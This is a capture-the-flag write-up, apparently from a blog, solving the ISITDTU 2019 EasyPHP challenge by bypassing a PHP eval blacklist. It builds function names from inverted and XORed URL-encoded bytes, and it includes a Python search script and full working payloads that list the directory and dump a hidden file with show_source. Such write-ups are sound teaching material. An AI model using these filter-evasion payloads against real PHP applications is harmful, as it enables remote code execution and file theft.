[ISITDTU 2019EasyPHP] Using XOR webshell

[ISITDTU 2019EasyPHP] Using XOR webshell

problem solving

index.php

<?php
highlight_file(__FILE__);

$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
    die('rosé will not do it');

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
    die('you are so close, omg');

eval($_);
?>

Here we mainly need to bypass two if regular filters:

if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )

If $_the string in contains any of these characters, execution die('rosé will not do it');terminates script execution.

The following are the character ranges and special characters that this regular expression matches:

  • [\x00- 0-9]: Matches ASCII control characters and digits 0-9.
  • \'": Match single and double quotes.
  • $&.,|[{_defgops\x7F]: Match a set of specific characters, including $, &, ., ,, |, [, { , _, d, e, f, g, o, p, sand \x7Fcharacters whose ASCII value is .

Therefore, if $_the string in contains any one of the above character sets, then the condition is true and execution terminates die('rosé will not do it');script execution.

The second if:

strlen(count_chars(strtolower($_), 0x3)) > 0xd

This piece of code means that the type of characters passed in cannot exceed 13

We noticed that there is no filter ~ ^

So let's try to use inversion~

/?_=(~%8F%97%8F%96%91%99%90)();   # phpinfo();

Use XOR:

<?php
$s = urlencode("phpinfo" ^ urldecode("%ff%ff%ff%ff%ff%ff%ff"));
echo "((".$s.")^("."%ff%ff%ff%ff%ff%ff%ff))();";

# ((%8F%97%8F%96%91%99%90)^(%ff%ff%ff%ff%ff%ff%ff))();

image-20230809145509591

disable_functions:

image-20230809145532759

Some commonly used ones are all filtered, but we can use print_rthe scandir()two functions to read the directory, and then use show_source()the read file

print_r(scandir('.'))
    
(%8F%8D%96%91%8B%A0%8D^%ff%ff%ff%ff%ff%ff%ff)((%8C%9C%9E%91%9B%96%8D^%ff%ff%ff%ff%ff%ff%ff)((%D1^%ff)))

Let's measure how many characters are used:

<?php
$s = '(%8F%8D%96%91%8B%A0%8D^%ff%ff%ff%ff%ff%ff%ff)((%8C%9C%9E%91%9B%96%8D^%ff%ff%ff%ff%ff%ff%ff)((%D1^%ff)))';
echo strlen(count_chars($s,3));

# 16

16 characters in total

We need to control it within 13, except that ();^there are only 9 characters left

Since the types of characters are limited here, but the length is not limited, we should think about which characters can be obtained by XORing multiple times with other characters:

def en(s):
    return hex(ord(s) ^ 0xff)[2:]


p = list(set('printrscandir'))
for i in p:
    for j in p:
        for k in p:
            for m in p:
                if ord(j) ^ ord(k) ^ ord(m) == ord(i):
                    if(j == k or j == m or m == k):
                        continue
                    else:
                        print(i+'=='+j + '^' + k + '^'+m, end='\t')
                        print(
                            '{:0>2}  =>  ["{:0>2}","{:0>2}","{:0>2}"]'.format(
                                en(i), en(j), en(k), en(m)))
                        break

This code is to find out the code that can XOR construct a character in a string through three characters, and then output their %ffvalue after XOR

%9e  =  %9c ^ %8d ^ %8f
a = %9e ^ %ff  =  %9c ^ %8d ^ %8f ^ %ff

image-20230809153030320

We need to select some strings that appear less in the string and replace them with the XOR of 3 characters, for example:

choose t,t==s^i^n 8b => ["8c","96","91"]

t = \x8B ^ \xFF
变为
t = \x8c ^ \x96 ^ \x91 ^ \xff

Let's follow this idea and replace characters in batches so that their length is less than 13

We look for several replaced characters:

a = c^p^r
d = s^c^t
n = i^s^t


c = %9C
p = %8F
r = %8D
s = %8C
t = %8B
i = %96

So we can use these instead:

print_r(scandir('.'))
    
(%8F%8D%96%91%8B%A0%8D^%ff%ff%ff%ff%ff%ff%ff)((%8C%9C%9E%91%9B%96%8D^%ff%ff%ff%ff%ff%ff%ff)((%D1^%ff)))

After substitution: will a n dreplace

print_r = (%8F%8D%96%96%8B%A0%8D^%ff%ff%ff%ff%ff%ff%ff^%ff%ff%ff%8c%ff%ff%ff^%ff%ff%ff%8b%ff%ff%ff)

scandir = (%8C%9C%9C%96%8C%96%8D^%ff%ff%ff%ff%ff%ff%ff^%ff%ff%8F%8B%9C%ff%ff^%ff%ff%8D%8C%8B%ff%ff)
 
. = (%D1^%ff)

So print_r(scandir('.')):

((%8f%8d%96%96%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%ff%8c%ff%ff%ff)^(%ff%ff%ff%8b%ff%ff%ff))(((%8c%9c%9c%96%8c%96%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%8f%8c%9c%ff%ff)^(%ff%ff%8d%8b%8b%ff%ff))(%d1^%ff));

incoming:

image-20230809160211396

n0t_a_flAg_FiLe_dONT_rE4D_7hIs.txt , cannot be read directly, we can use: end()get the last value of the array

show_source(end(scandir('.')))
?_=((%8d%9c%97%a0%88%8d%97%8d%9c%a0%a0)^(%9a%97%9b%88%a0%9a%9b%9b%8d%9c%9a)^(%9b%9c%9c%a0%88%9b%9c%9c%9c%a0%a0)^(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff))(((%a0%97%8d)^(%9a%9a%9b)^(%a0%9c%8d)^(%ff%ff%ff))(((%8d%a0%88%97%8d%9b%9c)^(%9a%9c%8d%9a%9b%9a%8d)^(%9b%a0%9b%9c%8d%97%9c)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff)));

Summarize

This question is too annoying

Guess you like

Origin blog.csdn.net/qq_61839115/article/details/132190674
XOR